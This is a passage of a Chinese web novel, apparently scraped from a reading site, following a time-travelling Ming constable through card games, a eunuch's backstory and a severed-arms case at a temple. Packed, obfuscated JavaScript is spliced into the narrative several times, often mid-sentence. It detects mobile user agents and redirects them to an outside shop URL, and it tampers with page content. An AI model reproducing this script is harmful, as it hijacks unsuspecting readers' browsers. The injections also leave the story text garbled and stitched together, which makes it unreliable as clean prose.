没想到万灵安还会这些玩意儿,马吊算是麻将的祖先了,她本只会麻将,可偏偏因为一个小毛头而学会了马吊。 记忆又回到了一年之前。 那时,她刚带队端掉了一个人贩子窝点,解救了几个小孩,其他小孩都帮他们找到了家人,唯有一个小毛头,实在是难搞。他打扮奇怪,好像哪个剧组出来的,对谁都满眼防备,景暄和还专门去横店了一趟,看有没有剧组丢小孩的,却一无所获。这小毛头有时又像一只小狗,只要靠近他,他就咬你,局长无可奈何,便将他推给了景暄和,说她是女同志,好和小孩子沟通。景暄和好说歹说,小毛头就是不接茬,只会躲在桌角,差点把她给气死。幸好这小孩长得实在玉雪可爱,才让她心情好那么一点。 午饭时,景暄和泡了一碗红烧牛肉面,小毛头却朝她这边望来,似乎被气味吸引,景暄和笑了笑,问小毛头:“你告诉姐姐,你是哪里来的,姐姐就给你吃。”小毛头这才畏畏缩缩地说:“我来自大明。” “……”景暄和还以为他失了智,“你认真说,姐姐还要帮你联系爸爸妈妈呢,让他们过来接你。” “我真是大明来的!”小毛头拳头紧握,很坚持。 景暄和由衷地感到可惜,白瞎了这么好看的一张脸,却是个傻子。 “那你叫什么名字?” 小毛头摇摇头,“我没有名字,爹不疼娘不爱,只有一个乳名,叫练儿。” 为了拉近关系,景暄和便问他,想玩什么游戏,小毛头半天才道:“打马吊……” 景暄和有些惊讶,这不是古代的玩意儿吗,现代人怎么会喜欢这个?压下心头的惊讶,说:“那你能不能教教姐姐,姐姐陪你玩啊。” …… 就这样,她终于学会了这项技能。 一个月后,这小毛头就像凭空消失了一般,哎,也不知他去了哪里。如果他真的来自明朝,他们还有机会再见吗? 算了,现在不是多愁善感的时候,万灵安可是个硬茬,不能掉以轻心了。 景暄和心想:难道万灵安也喜欢打马吊?不过又为何将此牌埋到木盒中呢?本着多一 6. 巧辨白马 《大明奇案之妖孽宫廷》全本免费阅读 万灵安领着景暄和到外院的某处庭院坐下,花开得极好,采光又明亮,空气中花香袅袅,沁人心脾。 马吊牌由四十叶纸牌组成,牌分十字、万字、索子、文钱四门,皆绘水浒英雄肖像,由四人打,每人先取八张牌,再放八张于桌间,四人轮流出牌和取牌。 万灵安唤了两名侍卫,这二人相貌相同,是一母同胞的兄弟,一人名曰“庄炎”,一人名叫“庄阳”,皆是身材颀长,耳聪目明。 景暄和很久没碰马吊了,可技术却没退步,不过两把之后便找回手感了。 她的牌艺精湛自是不在话下,现下却不得不多一个心眼,几局过后,每次都故意输给万灵安,或余一张牌,或余两张牌,胜负不过毫厘之间。 景暄和注意到,万灵安似乎很怕冷,一手在桌上抽牌,另一手必定抱着暖炉,她也不好多问。总觉得疑惑,像万灵安这样的高贵人物,为何会钟爱市井小民玩的马吊牌呢?此般自诩雍容高洁之人,不是该下围棋才符合格调吗? 景暄和正思索该如何出牌,便轮到她取牌了,目光落在牌上,随意地伸出手,指尖却触到另一双手,景暄和一惊,竟碰到了万灵安的手上!赶忙收回手指,却见万灵安正在看牌,似乎没发现,才大着胆子抽了牌,继续牌局。 …… 万灵安似乎十分愉快,也许是赢牌心情大好,他吩咐婢女上了两盘糕点,景暄和眼睛一亮,这是她最爱的如皋董糖与琅琊酥糖,前者色白微黄,层次分明,食之酥软甜香,回味无穷,后者味甜而不腻,糯而不粘、酥而不碎。 “不喜欢?”万灵安见她神态有异,不由得问道。 “不,”景暄和拿了一块,放在嘴里轻嚼了一下,忽然抬眼,微笑道:“谢大人赏赐,小人只觉得受宠若惊,所以适才晃神了。” 景暄和拥有一段于歌笛的记忆,她早年似乎与万灵安有婚约,可这全是父母之命,媒妁之言,于歌笛之前并未见过万灵安,当时听说自己要与一从未相识的男人结亲,还与父亲置了好长一段时间气,后来父亲蒙冤入狱,家族遭受灭顶之灾,这段婚事便自然不作数了。 他们如今的身份一个天上,一个地下,明明就相隔着一道跨不过的鸿沟,再说此人看似温和,实则脾气古怪,高深莫测,对万灵安,她不得不防,所以她万万不能因为两盘糕点就被他收买。 想到此,景暄和隐去了笑容。 万灵安只见她的身后开着大片的海棠花,她却显得清雅,在深重鲜红的颜色下,像一只轻灵越过的白鸟。 突然注意到了她的动作,每次洗牌时,景暄和都用的夹牌洗牌法,手指灵活,将牌夹在手指间快速翻转……而这种动作,他曾在另一个人身上看过。 他突然望向了她的脸,目光变得极专注,景暄和一抬头,万灵安立马收回了目光。 又与景暄和玩了六、七盘,才放她回去。 *** 出了万府,阿呆早已在后门等待,他跟景暄和说了些衙门发生的闲散事情,二人便回到了府衙。谁知,衙门外站着一年轻书生,并未束发,穿一素衣襕衫,裳下摆接一横襕,见到景暄和,赶忙向她走近。 景暄和还以为他是来告状的,可他突然“噗通”一声跪在景暄和跟前,倒让她不知所措了。 “恩公,请受在下一拜!”那人浓眉秀眼,相貌俊逸,只是有些不修边幅,颇有魏晋风骨。 “快请起,快请起!” 景暄和虚扶了他一下,向阿呆使了个眼色,阿呆赶忙拉他起来,原来他便是春深书院的大才子汪常青了。他刚从牢里放出来,听说是一位姓景的捕快救了自己,不免十分感激,便马不停蹄地来到衙门前,拜谢恩公。 “不必多礼,这都是我们捕快应该做的。” 景暄和本是说客气话,那书生却眉头一皱:“哼,现今的冤假错案还少吗?每年牢中添了多少冤鬼?那些当官的溜须拍马的功夫倒是做得足,谁又有心为百姓着想一分?小生此行本是抱着将死的决心,若不是大人,小生便也背负莫须有的罪名,成了牢中的冤鬼了。” 景暄和只见他的眉眼写满了傲气,文人风骨尽显无余,却听他继续说了:“小生心中本有一仰慕之人,此生惟愿像那位先生一样,做个为国尽忠、为民谋福祉的人,可是那位先生却遭奸人毒手,真是可气、可叹啊。”他的目光凛然地望向了远处的一处府宅,那府宅的大门已经被封,连门牌都濒临腐朽,布满了蜘蛛网,只是斑驳的朱色油漆应证了往日的辉煌。 记忆中,这是于歌笛出生长大的地方,见证了她无忧的童年与鲜衣怒马的豆蔻年华,见证了她所有的骄傲、美好、快乐、明媚,也见证了她如何由一位千真小姐变成阶下之囚。 满门光华,弹指成灰。 这一定是于歌笛心中永远也抹不去的伤。 如今的景暄和,虽然没在这宅子住过,却也感到唏嘘不已。 难道他说的先生……便是于景涟吗? “在下自知不能与那位先生媲美,只是以他为榜样,日日不敢懈怠。”汪常青惨然一笑,又说道:“在下下月便要参加乡试了,若能金榜题名,必备大礼,以答谢恩公的救命之恩。” “大礼倒是不必了,”景暄和摇摇头,道:“为了弄清此案,我曾走访过春深书院,大家对你的才华都赞赏有加,料想考取功名对你来说也并非什么难事,只是,若你真能通过科举步入官场,又有何打算呢?” “现今阉党横行,朝中人大多敢怒不敢言,更有大臣争相认魏福忠为干爹,七尺男儿认一阉人为爹,真乃奇耻大辱也。在下听说那位先生有一名门生,现今也在朝中为官,官至大理寺卿,他是为数不多敢与魏福忠对立的朝臣了,在下若能入朝为官,定会拜在此人的门下,也算是得以秉承那位先生的遗风了。” 景暄和点点头,不出意外的话,汪常青所说的便是于景涟大人的得意门生欧阳明允了,在于大人落难后,欧阳明允也沉寂了很长一段时间,甚至被贬到沿海地区担任九品芝麻官,几番沉浮,某年在抗击倭寇的战役中立下头功,才被重新调回朝中。因为他能力卓绝,见识广博,逐渐被圣上赏识,委以重任,现在担任正三品的大理寺卿,负责审理重大的案件。 “不早了,在下还要回书院温习功课,恩公保重!”他恭恭敬敬地朝景暄和做了个揖。 景暄和回了一礼,汪常青便离开了。看着他离去的背影,景暄和久久不语。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于歌笛继续道:“我知道你在顾虑什么,历史的车轮缓缓向前,魏福忠会在永熙十二年被新皇凌迟,如今是永熙五年,还有七年的时间,可是如你所见,他已经做错太多事了,若是只能被动地等待历史的发生,还不知有多少人会被他所害?就像徐家一样,明明是忠臣,却被他害成了如此下场,我再也不想世间有第二个于歌笛了。” 她的眼眸坚定,又透着悲凉,一滴泪从她的眼中滑出,落到了湖面上。 景暄和想要给她擦泪,却发现自己的手能穿越她的身体。 “早知如此,在我们第一次见面的时候,我就会毫不犹豫地杀了他,而不是……”她没有说完,又落下了一滴泪。 “你和魏福忠,到底发生过什么故事?”景暄和见她神情有异,不由得问道。 103. 东厂往事 景暄和一直都很奇怪,穿越后,她对于歌笛的其他记忆都能自动继承,可是偏偏关于魏福忠的部分全是些零碎的片段,她能感受到于歌笛对这位东厂厂公强烈的恨意,可在这恨意之上,还有什么别的东西藏在暗处。 “第一次见到魏福忠时,我还很小,那时的他跪在紫禁城的角落里,冻得直哆嗦,就像一个无人在意的野猫,白雪落到了他的帽上,积了厚厚的一层……” 于歌笛似乎陷入了回忆,据她所说,一次除夕之日,先皇让大臣和家眷都去宫中过节,那一年的雪很大,偌大的紫禁城被白雪铺满,明黄的琉璃瓦和朱红色的宫墙都变成了一片静默的白。 “那虽不是我第一次入宫,可我还是对宫里的一切都感到好奇,那天入宫的命妇太多了,我不知怎的竟走丢了,来到了一处废弃的宫墙边,看到他跪在那里,脚步便定在他身边,想找他问路。他似乎很落魄,连衣服都被洗得泛白,我的影子落在他的脚边,他就这样抬头,望向了我……” 那时的他还不叫“魏福忠”,而是叫小福子——一个随处可见的宦官的名字,明明每天已经很辛劳了,可在宫中还是一事无成。 “公公,敢问你知道御花园怎么走吗?”于歌笛脆生生地问。 魏福忠被冻得太久,似乎连眼神都被冻僵了,他的眼珠被大雪映得灰白,缓缓的,一点一点地抬起了眸子。 看到于歌笛,魏福忠似乎很惊讶,久久都没有说话,毕竟漫天大雪中,怎么会走出来一个如此冰肌玉骨的女娃娃?难道是漫天的冰雪变成的精怪? “公公,我在与你说话呢,难道你有哑疾么?”于歌笛问他。 魏福忠这才回过神来,他伸出长满冻疮地手,朝她身后指了指,“往那边走,到了路的尽头再左转,就到了。” 他的喉咙很疼,此刻发出声音,有些诡异的低沉沙哑。 “多谢,”于歌笛刚想转身,却定住了脚步,问:“公公,今日是除夕,你为何会跪在这里呢?” “我被干爹处罚了……他说我……心比天高,可紫禁城最不缺的就是有野心的人,要我看清自己的位置,到时候别死都不知道是怎么死的。” “你干爹,那是谁?” “他是司礼监的太监,老眼昏花,没有坐到秉笔太监的位置,就拿我出气。”他刚说完,肚子就不争气地响了几声,已经一天一夜没吃饭了。 于歌笛从袖中掏出三枚蜜枣,说:“这是南直隶进贡到宫中的金丝琥珀蜜枣,是宫中贵人赏我的,我本想带回家给我弟弟尝尝,他最喜欢吃蜜枣了,不过看来你更需要,那就给你尝尝吧。” “真的可以吗?”魏福忠又垂下眸子,“我身上太脏了,我怎么配?” “没关系,公公,你吃吧。” 她执意平摊手掌,将枣子递给魏福忠,他冰冷的手指滑过她细腻如玉的温暖掌心,将枣子一点一点吃完了,好像尝到了人世间最美味的珍馐。 “怎么样?”于歌笛歪着头问他。 “这蜜枣很好,谢谢,”魏福忠不敢去看她的眼睛,又问:“你是于景涟大人家的千金吗?” 魏福忠这时才回忆起,自己曾远远地看过她一眼,只是那时他卑贱如尘,在最不起眼的角落,而她已是顺天府最耀眼的一颗明珠了。 “对,我叫于歌笛,我的名字来自家乡湖广道的一片湖泊,那湖就叫‘歌笛湖’。”于歌笛搓搓手,又呼了一口气,“这儿可真冷啊,还是湖广道的冬天暖和许多。” 目光又落到了他怀中的一本书,那书满是褶皱,好像已经被他翻了很多遍。 “什么书让你这么宝贝?”于歌笛指了指他怀里。 魏福忠垂下眸子,“这不是什么好书,是教人怎么变坏的书。” “哦?这世上的人大多钻研的是圣贤之道,居然还有教人变坏的书?” 于歌笛越想越感兴趣,魏福忠却将手按在胸口,死死地护住,不让她看到。 “姑娘这样的清白人家,还是别让这种脏书污了你的眼睛吧。”魏福忠的声音越来越小,最后如同蚊蝇一般。 …… 后来,于歌笛与万灵安定亲了,两个素未谋面的陌生人,就这样被绑在了一起,于歌笛很不开心,可是父亲却说,万灵安今后必定前途无量,让她宽心。谁知过了不久,父亲下狱的消息就传了过来,那日也是一个雪天,为首抄家的那人便是魏福忠。 于歌笛怎么也没想到,第二次与他见面,便是东厂来抄家的日子。 那日的魏福忠早已不是可怜兮兮、跪在角落里的小太监了,他已经坐到了司礼监秉笔太监的位置,被前呼后拥,好不气派。 他们的境地好像完全调转了过来——他是风光无限、位高权重之人,而她沦落成了罪臣之女,好像一只蚂蚁,随随便便就能被踩死。 “我和母亲弟弟被押上囚车,魏福忠就那样远远地看着,我们被丢入了东厂牢狱之中,我被几个太监架着,丢到了魏福忠的面前。” 于歌笛将手指握拢,眉间似乎涌起了一丝惆怅,“我抬头,质问他为什么,我和他无冤无仇,他为什么要害我父亲?可是接下来他说出的话,却让我终生难忘,他说,他以前一直觉得,我是天上的月光,可望不可即,太干净太纯粹了,只有这样,这皎皎的月光才会掉下来,落入泥土之中,只有这样,他才有机会得到我……我骂他无耻,他告诉我,只要我肯低头,就可以让狱卒偷偷将我放出来……” 景暄和深吸一口气,原来他们竟有这般的过往。 “然后呢?我问他,是不是从此以后就会成为他的禁脔?在紫禁城的角落里,过着暗无天日的生活,仰他鼻息,再也没有自由?”于歌笛闭上了眼睛,“他突然死死地抱住我,我很害怕,打了他一巴掌,为了气他,我还说我就算是死也不会跟他在一起的,他连完整的男人都不是,凭什么让我屈服?我有未婚夫婿,我的未婚夫叫‘万灵安’,你连他的小指头都比不上!他似乎很愤怒,掐住我的脖子,在我快被窒息而死的时候,却突然放了手,头也不回地离开了……” “所以后来,你就这样去了边疆苦寒之地?”景暄和有些怅然。 “是,相比于失去自由, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941173|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 委身杀父仇人,我倒宁肯去那不毛之地,起码我的心是自由的。那些年我一直在想,是不是我害了父亲,若是我没有遇见过魏福忠,他是不是就不会让父亲受那般的酷刑?可是后来,我却想通了,魏福忠一直都是那般卑劣的人,他想要我,也想要那藏宝图,还想用父亲的死来震慑朝臣,他想要的东西太多太多了,也许我,只是其中一个微不足道的原因罢了。” “你想通了便好,那样冷血的人,不值得你挂心。”景暄和郑重地说:“我答应你,会除掉魏福忠,这世上,不会再有第二个于歌笛了。徐学士也好,徐夫人也好,我会尽力去救他们,就像去救当年无辜入狱的你父亲一般。” “谢谢你,景姑娘。”于歌笛脸上挂上了一抹微笑。 天边好像升起一痕太阳,在湖面上洒下金色的光辉。 “我该走了,这一走,便是永别了。” 她脸上挂着温柔的笑靥,只是身体渐渐变得透明,最后消散于世间…… 景暄和从梦中惊醒,这个梦太过真实,让她竟有些分不清是梦境还是现实了。 *** 此时的东厂牢狱内,传来阵阵凄惨的叫声,不过这叫声并不特别,相反,东厂的人听到只觉得司空见惯。 阿衡被太监引领着进入了牢狱,路过了徐学士的牢房,只见他躺在稻草堆中,身上满是血污,耳朵被草率地包起来,嘴里不知在说些什么,看起来好像真的疯了一般。 “黎先生,这边请,厂公正在等你。”小德子精明的眼睛一闪,道。 阿衡点头,面上仍是云淡风轻的样子,黎正已经告诉过他怎么做了,所以他并不紧张。 魏福忠手上正拿着枣木烟杆,吞云吐雾,房间内摆放着用刑的架子,上面还有暗红的血迹,魏福忠只是盯着那架子,不知在想什么。 “厂公安好。”阿衡淡淡道。 “黎先生,请坐。” 魏福忠让小德子给他端上凳子。 “黎先生提供的计策很好,趁着徐夫人失踪的间隙打徐家一个措手不及,如今徐家垮了,我们的首辅大人大概会手忙脚乱一段时间吧。” “剪除万灵安的羽翼固然重要,可是要斗倒万灵安这个人,却不简单,厂公还需深思熟虑啊。”阿衡说。 “那依黎先生看,我们下一步该如何去做呢?”魏福忠吸了一口烟枪,缓缓道。 阿衡走进了一步,“厂公似乎一直都对那藏宝图很感兴趣。” “哦?先生也知道藏宝图的事情。”魏福忠似乎有些惊讶。 “想要为厂公做事,自然要对厂公的需要了解透彻才行啊,”阿衡顿了顿,“我知道于景涟出事后,厂公去他的府邸搜查,却一无所获,我最近在想,他从西域回来后,并没有马上回家,而是去了上次‘鲛女案’发生的河边村,会不会,这藏宝图还在那村子里?” 魏福忠眸子一亮,似乎来了兴趣。 “这藏宝图来自西域,而暹罗王子的王妃麦娜尔也是西域之人,她如今就在顺天府,若想破解藏宝图的秘密,我们何不从她开始入手呢?” 104. 手臂刺青 翌日,北镇抚司。 景暄和一大早便前往义庄,里面摆放着三只手臂,全是左手,其中两男一女,她率先看的便是那女子的手臂,只见手臂比寻常女子要粗壮一些,有些黝黑,手掌处还有磨成的厚茧,应该来自一农家女子。徐芃敏曾说她母亲十分爱惜自己的手,所以可以肯定,这手不是徐夫人的。 她不禁长舒了一口气,最坏的事情没有发生。 又转眼去看那两只男子的手臂,只见这两只手臂也很粗壮,上面隐约还有刺青,是一只狼的样子,这狼仰天长啸,样子可怖,景暄和顿时便想起了那日在河边村西域商人那里看到的孤狼图腾,样子神态十分类似,和于景涟书房里宣纸的图案也是一样的。 要弄清楚这三人的身份,只有先搞清楚“孤狼”的含义,她派人将这图腾的样子画了下来。 立马叫来齐三陌,齐三陌一向是个包打听,这种事情找他准没错。 “景大人,若这图腾真的出自西域,这三人莫非也是西域人?可惜看不到样子,否则光从脸就能判断了。”齐三陌摸了摸下巴,“可是西域人的手臂为什么会出现在‘四眼佛’的佛像上?真是让人百思不得其解。” 景暄和敛了眸子,“你说的有道理,可惜我们现在得到的线索有限,也只能从这个方向探查了。西域人和中原人相貌不同,他们一般高鼻深目,可惜我们没有完整的尸体,只能从局部推断,到底还是差了点意思。” “聊胜于无吧,景大人,除了是‘西域人’,还有什么发现吗?”齐三陌有些好奇。 “我仔细观察了他们的手,女子的皮肤黝黑,应该是经常从事户外的劳动,她的手部有老茧,很有可能是捕鱼的渔具造成的,所以她死前,一直从事的工作应该是渔民。”顿了顿,又道:“男子手臂有两条,其中一男子的手臂肌肉发达,臂上还有被铁水烫过的痕迹,他之前应该是铁匠。而另一男子似乎常年在码头工作,手臂上面有许多的伤痕淤青,应该是从事体力劳动的,这码头很热闹,所以他每天都有很多货物要搬,手臂才会成这样。” 齐三陌敬佩地望向景暄和,没想到光凭手臂就能推断出他们的职业了,实在是了不得,她美眸一闪,神情专注而认真。 说实话,他一开始真不习惯景暄和现在的样子,在他的印象里,景大人只是一个面容清秀温和的男子,可是如今去了伪装,竟是如此清俊的女子,倒让他觉得很有些距离。 在他的印象里,美人是用来观赏的,可望而不可及,大多娇滴滴的,而不是用来共事的,更不可能成为他们的上司。可是眼前这人却不一样,她对下属很好,能力也很出众,所以他们在她手下做事,都十分忠心。 不过,除了样子变化之外,她这个人的底色一直都没有变。态度上对待每一个案件都负责又较劲,比男子还仔细,不禁让他心生敬佩,连张二越那么喜欢逗弄美貌小娘子的人对着景大人,都十分正经,不敢升出一丝绮念,更别提高大虎和赵四梁这两个木头了。 景暄和接下来的话打断了他的遐思。 “当时四眼佛的布上在滴血,手臂应该是刚刚被砍下来的,所以我怀疑这三人一直都潜藏在大明,扮成普通的平民搜集情报,只是易容改扮,所以没有被人发现。” “你是说,他们竟是西域的探子?!”这个发现让齐三陌很有些吃惊,“也不知他们这些年藏在哪里,是怎么被人发现的?” “现在还不知,我们只能从他们潜藏的地点开始找线索,至于这个地点,一定要满足几个条件——第一,肯定靠近顺天府的湖边,有很多渔民,第二,还有人来人往的码头,除此之外,还有铁匠铺子……” “景大人,河边村不是完美地符合你说的几个条件吗?”齐三陌一拍脑袋,突然想到。 “没错。”景暄和负着手,“所以我们可以得出结论,死者是西域探子,这些年来扮成河边村的村民,潜藏在大明,只是几天前被人发现了身份,然后被暗中杀害了,凶手将他们的手放在四眼佛的佛像上,震慑其他人。” “还有一个问题,我一直想不到答案。”齐三陌皱了皱眉,走到了景暄和面前,“景大人,暹罗王子的仆人已经作证,在进入顺天府城门前他们还检查过佛像,没有任何异常,佛像才被蒙上红布,这三只手臂怎么就会凭空出现在上面?难道真有鬼怪作祟?” “这也是我一直在想的问题,要解决这个问题,不能凭空想象,还是最好去检查一下那佛像为好。” “此案之后,圣上大怒,臣子们都说那佛像不吉利,有邪气,群臣上奏,要圣上不要见那佛像,恐染上了霉运,若圣上有个什么三长两短,那么他们都无颜去见先帝了……所以如今它被封锁在清水禅寺中,由得道高僧玉泰大师带领着一干僧众日夜诵经祈福,就想压住邪祟,不让它危害世间呢!” 景暄和笑了笑,耸耸肩道:“不过是一佛像罢了,有什么邪祟?就算有,也是有人搞鬼。” “虽然道理是这么个道理,可是景大人难道就不害怕吗?” 齐三陌看着眼前花容月貌的曼丽佳人,不禁问道。 “我也是个人,是人总会有害怕的时候,可是我不能害怕,若我害怕了,那案子便没有侦破的可能了,只要我害怕的时候,便会想想那些无辜死亡的受害人,他们在等我替他们找出真凶,还他们以公道。即使这次的案子,受害人是西域探子,并不无辜,可真相就是真相,无论如何也不能被掩盖住。” 她的声音不大,却没来由地带着振奋人心的力量,回荡在空荡荡的义庄内,让人不由得产生肃穆的感觉。 *** 出了北镇抚司,刚刚送走齐三陌,却遇上一阵疾雨,秋日的雨有些寒凉,景暄和快步来到一处屋檐下躲雨。 雨越下越大,不一会儿便溅湿了她衣服的下摆。 这时,一把油纸伞却出现在头顶,挡住了飞泻而下的雨滴。 “多谢。”景暄和对身边之人说道,却撞入了一双深黑的瞳孔。 “阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你在说什么废话?如今佛像上出现断臂,自然是人为作案,怎么如此迂腐,竟不让我们查案?”他挡在她面前。 她用眼神示意了一下,说:“阿呆,不得无礼。” 又对两个小沙弥说:“二位师傅,若是悬案不破,难道你们寺庙要一辈子守着这‘四眼佛’吗?我听说寺庙的主持玉泰大师已经念经诵佛、不眠不休了几日,难道要他一辈子都这样吗?” 两位小沙弥挠了挠头。 这时,远处突然传来喧嚣,好像有许多人过来了。 往后一看,只见万灵安走在最前面,许多官员跟在他的身后,往禅寺走来。 他一身绯色的朝服,上面缀有仙鹤补子,衬得丰神俊朗,虽下着雨,在雨中却不徐不疾地走着,好像没有任何人或者事能够动摇他的步伐。 手中捧着一明黄的圣旨,行至寺庙前,他打开圣旨宣旨。 所有人都跪了下来。 105. 遭人暗算 “奉天承运皇帝,诏曰:今佛像诅咒杀人,实属无稽,事关两国邦交,特命内阁首辅万灵安彻查此事,全权负责,以正视听,其余人等,不得阻拦,钦此。” 万灵安的声音清冽,又带着不容置疑的威严,回荡在佛寺的门前。 两个小沙弥哪里见过这种架势,都吓得不敢说话,连忙抖抖瑟瑟地退到了一边。 “景大人素有探案之才,特命其协助本官查案,你们可有异议?”他望向了身后的官员。 他们皆是垂眸,气氛一下子有些冰冷。 “若是没有异议,景大人,我们这便开始吧。”他做出了一个“请”的手势。 景暄和步入佛寺,万灵安与她同行。 清水禅寺十分清幽,首先映入眼帘的便是巍峨的大雄宝殿,红墙黄瓦,颇有岁月静好的感觉。一路上,只见绿树成荫,远山青黛,鸟雀偶尔叫了两声,打破了宁静。 四眼佛像被放到了远处的偏殿,这偏殿名曰临枫阁,位于后山,山上有大片的枫林,已是初秋,枫叶红了大片,如火焰一般,此时雨歇风止,竟出了太阳,枫叶在阳光的照射下,愈加明艳。 还未走进,就听见成群的诵经的声音,透过木门,传了出来。 小沙弥说:“万大人,住持大师正带领师兄们在此处念经,镇压邪祟,容我去通禀一下,告知他们圣上的旨意。” 万灵安点头:“甚好。” 小沙弥敲了敲门,便去殿内禀报了。 景暄和环顾四周,却见万灵安的目光落到了自己身上,她目光望向了他,没有说话。 短短几日不见,万灵安似乎清瘦了不少,也许是挂心徐学士的事情,也没有睡好,如今为了拿到圣旨,恐怕又与魏福忠斡旋了许久,才让圣上答应让他负责调查此事。 这些天他的辛劳忧心,一点都不比她的少。 不一会儿,偏殿的门开了,为首的是一宽脸浓眉的和尚,想必便是清水禅寺的住持玉泰大师了。 玉泰大师双手合十,恭恭敬敬地说:“贫僧见过首辅大人。” “大师不必多礼。” “刚才贫僧已经知道首辅大人这次的来意了,既然是皇上下旨,贫僧也不会阻拦,只是有一事,还想告知首辅大人。” “大师但说无妨。” “贫僧这几日在四眼佛旁诵经,只觉得这佛像让人无比压抑,胸中像憋着一口闷气,怎么都舒展不开,无论有没有妖邪作祟,都觉得不是吉利的东西,所以越少人进去越好,恐放出了妖邪,使得我大明招致祸端啊。贫僧与众位徒弟皆是出家人,天生就有镇压妖邪的职责,妖邪见了我们,难免会忌惮,可是众位大人却不同,还请首辅大人三思啊。” 万灵安四两拨千斤道:“本官自然知道大师的疑虑,也知大师是为了我们考虑,可是皇命不可违,既然陛下下了旨,做臣子的哪有退缩的道理,无论有无妖邪,都必须去探查一番,才不枉费圣上之苦心。” 玉泰大师叹了口气,示意了一下身旁的徒弟。 那徒弟大概十五、六岁,长相清秀老实,从袈裟中拿出了两串桃木手串,这两串手串被帕子仔仔细细地包着,看起来很是宝贝。 “都说桃木串能驱灾辟邪,贫僧这里有两串,几日前还将它们开光了,首辅大人一人之下万人之上,身份贵重,若要进去,最好佩戴上,贫僧也放心些。” “多谢大师,那本官便收下了。”他顿了顿,又将另一手串递给景暄和:“景大人,既然你要入内查案,便也佩戴一串吧。” 景暄和接过了手串,也向玉泰大师双手合十,道谢了一声。 二人并肩步入殿内,大门缓缓关闭。 室内并不亮,只有一个天窗,洒下了阳光,正落到了四眼佛的顶部,四只眼睛好似被点亮一般,显得有些恢诡谲怪。 佛像很高,四只眼睛仿佛一同俯视着他们,让人汗毛倒立,两只佛手的一只向前伸直平摊,有一只断指,如传说中那般,另一只手的拇指与中指相捻,其余各指自然散开,象征佛说法之意。 平摊的那只手上还残留着血迹,空气中弥漫着腥味,让人感到不适。 万灵安牵住了景暄和的手,说:“别怕。” 她突然想起那日在周府参加寿宴时,他也是对她说的“别怕”,倒有些恍如隔世了。 景暄和将他拉到大殿中央,低声将她的发现给他讲了,在听到三名手臂出自西域探子时,万灵安也有些吃惊,没想到西域人也搅合进来了,看来此案有各方利益纠缠其中,远比他想象的要复杂得多。 他眉头蹙起,又说:“怎么手这么凉?天气入秋了,你今日只穿了一件单衣,还淋了雨?” “出门时走得太急了些,谁知竟会下雨?”她揉了揉鼻子,突然打了个喷嚏。 万灵安将身上的披风拿下,披在了她的身上。 “你不也很怕冷吗。”景暄和问,“给我披了,你怎么办?” “如今换了药方,身体强健了不少,庄大夫医术高明,你不需为我担心。”万灵安微微一笑,目光清明道。 “谁为你担心了?”景暄和垂下眼眸,不去接他的话。 “在下知道景大人每日夙兴夜寐,公务繁忙,自然没有时间管些细枝末节了。”他抓住她的手更紧了,“不过不要紧,你不担心我无所谓,我担心你就够了。” 景暄和叹息了一声,“如今不仅有四眼佛的案子,还有徐学士和徐夫人的事情,全搅在一起,实在是让人忧心。徐学士在牢中还好吧?” 问完后又觉得自己这个问题有些可笑,东厂的手段她不是不知道,如今他一介文人落入了他们手中,怎么能叫“好”呢? “算了,这个问题你不必回答,我知道现在他的处境肯定很难。” 看着她紧皱的眉头,万灵安抬手,将她眉头捋平,道:“如今就像下棋下到了中部,正是最艰难的时候,仿佛四面楚歌一般,可是我们不能放弃,我总有一个预感,四眼佛的案子是整件事情的突破口,若是能够探查此案的真凶,其他事情便可迎刃而解了。” “可是徐学士贪污一案……” 未等景暄和说完,万灵安突然问:“暄和,你相信我吗?” 她看向了他的眸子,这双眸子有时沉静如水,有时又暗藏汹涌,可是唯一不变的,是他看向她时目光的认真。 点点头,“我信你。” “好,徐学士的事情我会找证据,证明他的清白,可是‘四眼佛’的案子,我想交给你。”他的声音不大也不小,却打在了景暄和的心里,“上次‘鲛人’的案子是我不对,没有与你商量便擅自行动了,所以这次,我希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13005722|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望与你并肩作战。我今日陪你在佛寺探查,可案子的后续,我想交给你全权负责。” 景暄和眼睛一亮,朝他施了一礼,道:“在下定不负首辅大人所托。” 他们相视一笑,一种叫“信任”的东西仿佛在心头扎了根。 “时间不早了,我们赶快看看这佛像有什么玄机吧。我总觉得,手臂不可能凭空出现在佛像上,肯定有什么我们没有发现的秘密。”景暄和径直走向了那佛像。 她在底座下看了许久,也没见到什么玄机。佛像整个都由纯金打造,价值不菲,重量应该很重。 “当时佛像由红布盖着,布上染了血迹,才被路人看到的,那盖佛像的红布呢?”景暄和问道。 